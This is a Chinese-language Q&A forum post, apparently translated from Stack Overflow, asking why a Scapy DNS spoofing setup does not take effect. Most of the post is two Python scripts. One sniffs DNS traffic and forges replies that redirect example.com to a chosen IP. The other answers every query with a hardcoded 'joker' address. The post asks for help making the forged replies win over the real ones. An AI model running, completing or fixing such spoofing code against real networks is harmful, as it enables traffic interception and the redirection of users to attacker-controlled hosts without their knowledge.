用Scapy欺骗dns中的循环请求

时间:2018-10-26 07:55:45

标签: python dns scapy

因此,我正在使用在线教程来欺骗系统中的dns。 (您可以在previous question中阅读更多内容。)

我使用此代码将特殊地址重定向到另一个地址:

dns_server_ip = '46.165.233.150'
bpf_filt = 'udp port 53'


def dns_responder(local_ip):
    def forward_dns(orig_pkt):
        print('Forwarding:', orig_pkt[DNSQR].qname)
        response = sr1(IP(dst="192.168.43.1", src="192.168.43.64") / UDP(sport=orig_pkt[UDP].sport) / \
                       DNS(rd=1, id=orig_pkt[DNS].id, qd=DNSQR(qname=orig_pkt[DNSQR].qname)), verbose=0)
        #response.show()
        respPkt = IP(dst=orig_pkt[IP].src, src=orig_pkt[IP].dst) / UDP(dport=orig_pkt[UDP].sport) / DNS()
        respPkt[DNS] = response[DNS]
        send(respPkt, verbose=0)
        return 'Responding: {}'.format(respPkt.summary())

    def get_response(pkt):
        if DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0 and pkt[IP].src != local_ip:
            if 'example.com' in str(pkt['DNS Question Record'].qname):
                spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
                          / UDP(dport=pkt[UDP].sport, sport=53) \
                          / DNS(id=pkt[DNS].id, qr=1, qd=DNSQR(qname=pkt[DNSQR].qname), \
                                an=DNSRR(rrname="example.com", rdata = local_ip))
                send(spfResp, verbose=0)
                return 'Spoofed DNS Response Sent'

            else:
                # make DNS query, capturing the answer and send the answer
                return forward_dns(pkt)

    return get_response


sniff(filter=bpf_filt, prn=dns_responder(dns_server_ip))

此代码的问题是,当它捕获不需要的并且需要被跳过的doamin的数据包时,它将无限运行,并且永不停止,并继续从同一域发送和接收数据包。同时,当我输入要假冒的网址是example.com之类的浏览器中的dns时,它不会捕获它。 如果我评论以下行:

return forward_dns(pkt)

在else语句中并写其他内容,它的确捕获了数据包并发送了响应,但是仍然在浏览器中看到相同的example.com网站,而不是我提供了IP的网站剧本。 因此,整个过程是否可以在浏览器上运行?因为我在Windows命令中使用了nslookup,但仍然获得了example.com ip作为响应,而不是我伪造的那个。

应答机

现在,这是应答机的更新代码,假设我们要欺骗每个DNS请求:

class DNS_am (AnsweringMachine):
    function_name = "dns_spoof"
    filter="udp port 53"

    def parse_options(self, joker="137.74.18.82", zone=None):
        if zone is None:
            zone = {}
        self.zone = zone
        self.joker = joker

    def is_request(self, req):
        return req.haslayer(DNS) and req.getlayer(DNS).qr==0

    def make_reply(self, req):
        ip = req.getlayer(IP)
        dns = req.getlayer(DNS)
        rdata = self.zone.get(dns.qd.qname, self.joker)
        resp = IP(dst=ip.src, src=ip.dst) \
        / UDP(dport=ip.sport, sport=53) \
        / DNS(id=dns.id, qr=1, qd=dns.qd,
              an=DNSRR(rrname=dns.qd.qname, rdata=rdata))

        return resp

DNS_am()()

当我运行此脚本时,它成功捕获了所有dns查询并发送了伪造的响应,但是此响应没有生效。仍然主要的反应有效。 在wireshark中,虚假响应被标记为已传输响应。

0 个答案:

没有答案